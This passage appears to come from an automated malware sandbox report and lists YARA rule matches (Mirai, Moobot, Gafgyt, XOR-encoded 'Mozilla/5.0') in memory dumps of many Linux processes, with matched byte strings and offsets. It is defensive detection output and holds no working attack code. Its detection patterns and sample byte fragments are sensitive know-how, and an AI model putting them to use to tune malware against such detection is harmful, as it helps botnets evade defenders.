46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6387.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6245.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7090.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6318.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6379.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6379.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6379.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6379.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6379.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6379.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6479.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6479.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6479.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6479.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6479.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6479.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6580.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6580.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6580.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6580.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7317.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6478.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6478.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6478.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6478.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6478.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6478.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6422.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6422.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6422.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6422.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6422.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6422.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6827.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6827.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6827.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6827.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6827.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 